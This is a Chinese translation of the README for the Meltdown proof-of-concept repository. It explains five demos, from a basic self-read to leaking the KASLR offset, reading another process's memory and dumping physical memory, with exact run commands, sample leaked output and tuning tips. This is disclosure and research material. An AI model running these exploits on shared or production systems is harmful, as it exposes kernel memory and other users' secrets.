本仓库包含多个应用程序,用于演示 Meltdown 漏洞。关于该漏洞的技术信息,请参阅论文:
本仓库中的应用程序基于 libkdump 构建,这是我们为论文开发的库。该库通过自动适应环境的某些特性,简化了对该漏洞的利用。
本仓库包含多个演示 Meltdown 的视频
本仓库包含五个演示,用于展示不同的用例。所有演示均在 Ubuntu 16.04 和 Intel Core i7-6700K 上测试过,但它们应该能在任何搭载 2010 年以后现代 Intel CPU 的 Linux 系统上运行。
为获得最佳效果,我们推荐使用支持 Intel TSX 的快速 CPU(例如任何 Intel Core i7-5xxx、i7-6xxx 或 i7-7xxx)。 此外,每个演示都应绑定到一个 CPU 核心上,例如使用 taskset。
作为前提条件,你需要在机器上安装 glibc-static。
对于基于 RPM 的系统:
sudo yum install -y glibc-static
test)这是最基础的演示。它使用 Meltdown 从自身地址空间读取可访问的地址,不破坏任何隔离机制。
如果这个演示对你不起作用,那么其余的演示很可能也不会起作用。原因有很多,例如 CPU 可能太慢、不支持乱序执行、高分辨率计时器不够精确(尤其是在虚拟机中)、操作系统不支持自定义信号处理器等。
make
taskset 0x1 ./test
如果你看到类似这样的输出
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
那么基础演示就可以正常工作。
kaslr)从 Linux 内核 4.12 开始,KASLR(内核地址空间布局随机化)默认处于启用状态。这意味着内核的位置(以及映射整个物理内存的直接物理映射)会在每次重启时发生变化。
本演示使用 Meltdown 泄露直接物理映射的(秘密)随机化信息。本演示需要 root 权限以加快处理速度。论文中描述了一种不需要 root 权限的变体。
make
sudo taskset 0x1 ./kaslr
几秒钟后,你应该会看到类似这样的内容
[+] Direct physical map offset: 0xffff880000000000
reliability)本演示测试读取物理内存的可靠性。对于本演示,你要么需要直接物理映射偏移量(例如来自演示 #2),要么必须通过在内核命令行中指定 nokaslr 来禁用 KASLR。
构建并启动 reliability。如果你启用了 KASLR,第一个参数是直接物理映射的偏移量。否则,该程序不需要参数。
make
sudo taskset 0x1 ./reliability 0xffff880000000000
几秒钟后,你应该会得到类似这样的输出:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)本演示通过直接读取物理内存来读取另一个进程的内存。对于本演示,你要么需要直接物理映射偏移量(例如来自演示 #2),要么必须通过在内核命令行中指定 nokaslr 来禁用 KASLR。
原则上,该程序可以读取任意物理地址。然而,由于物理内存中包含大量非人类可读的数据,我们提供了一个测试工具(secret),它会将一个人类可读的字符串放入内存,并直接提供该字符串的物理地址。
对于本演示,首先运行 secret(以 root 身份)以获取人类可读字符串的物理地址:
make
sudo ./secret
它应该输出类似这样的内容:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
在 secret 程序运行期间,启动 physical_reader。第一个参数是 secret 打印的物理地址。如果你没有禁用 KASLR,第二个参数是直接物理映射的偏移量。
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
几秒钟后,你应该会得到类似这样的输出:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)本演示转储内存的内容。与演示 #3 和 #4 一样,它使用直接物理映射,以类似 hexdump 的格式转储物理内存的内容。
同样,由于物理内存中包含大量非人类可读的内容,我们提供了一个测试工具,用于用人类可读的字符串填充大量物理内存。
对于本演示,首先运行 memory_filler 以用人类可读的字符串填充内存。第一个参数是要填充的内存量(以 GB 为单位)。
make
./memory_filler 9
然后,运行 memdump 工具以转储内存内容。如果你之前执行过 memory_filler,你应该会看到一些字符串片段。
如果你运行着带有多个标签页的 Firefox 或 Chrome,你可能还会看到已打开或最近关闭的网站的部分内容。
第一个参数是转储应开始的物理地址(留空则从第一个 GB 开始)。第二个参数是你想要读取的字节数,要全部读取则给出 -1。如果你没有禁用 KASLR,第三个参数是直接物理映射的偏移量。
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
你应该会得到内存某些部分的 hexdump(甚至可能包含密码等秘密,参见论文中的示例),例如:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
它能在 Windows / Windows 上的 Ubuntu(WSL)/ Mac OS 上运行吗?
不能。此 PoC 只能在 Linux 上运行,因为它使用了 Linux 内核特有的特性,例如直接物理映射。
我可以在虚拟机中运行此 PoC 吗?
可以,此 PoC 在虚拟机上也能运行。然而,由于虚拟机引入了额外的抽象层,它可能不如在原生硬件上运行得那么好。
KASLR 程序(kaslr)找不到偏移量!
kaslr 工具为了速度只进行了非常少的测量。如果它找不到偏移量,有两种可能:
kaslr.c 中的重试次数:config.retries = 1000;kaslr_offset 中的内核模块直接从内核读取偏移量。为你的内核安装内核头文件(sudo apt-get install linux-headers-`uname -r` )并运行 sudo ./direct_physical_map.sh你说它能在未缓存的内存上运行,但你所有的演示都确保内存被缓存了!
让它在未缓存的内存上运行更为棘手,通常需要对参数进行一些调整。因此,我们在 PoC 中确保内存被缓存,以便更容易复现。不过,你可以简单地移除缓存值的代码,并将其替换为 clflush,以在未缓存的内存上测试该漏洞利用(参见视频 #5 的示例)。
尽管在 Google 的原始博客文章中并未提及,但这也得到了独立研究人员的证实(例如 Alex Ionescu、Raphael Carvalho、Pavel Boldin)。
它在我的电脑上就是不起作用,我该怎么办?
这可能有很多不同的原因。我们收集了一些你可以尝试的方法:
警告 #1:我们按原样提供此代码。你有责任保护自己、你的财产和数据以及他人免受此代码造成的任何风险。此代码可能会导致你的机器上出现意外和不良行为。此代码可能无法在你的机器上检测到该漏洞。
警告 #2:如果你发现某台计算机易受 Meltdown 漏洞影响,你可能希望避免将其用作多用户系统。Meltdown 破坏了 CPU 的内存保护。在易受 Meltdown 漏洞影响的机器上,一个进程可以读取其他进程或内核使用的所有页面。
警告 #3:此代码仅用于测试目的。不要在任何生产系统上运行它。不要在任何可能被其他人或实体使用的系统上运行它。
libkdump/libkdump.c 中的 #define MELTDOWN meltdown_nonull 这一行进行更改。例如,尝试使用 meltdown 代替 meltdown_nonull,它在某些机器上效果要好得多(但在其他机器上则完全不行)。stress -i 2 运行 stress 工具(或根据核心数量为 i 参数使用其他值)。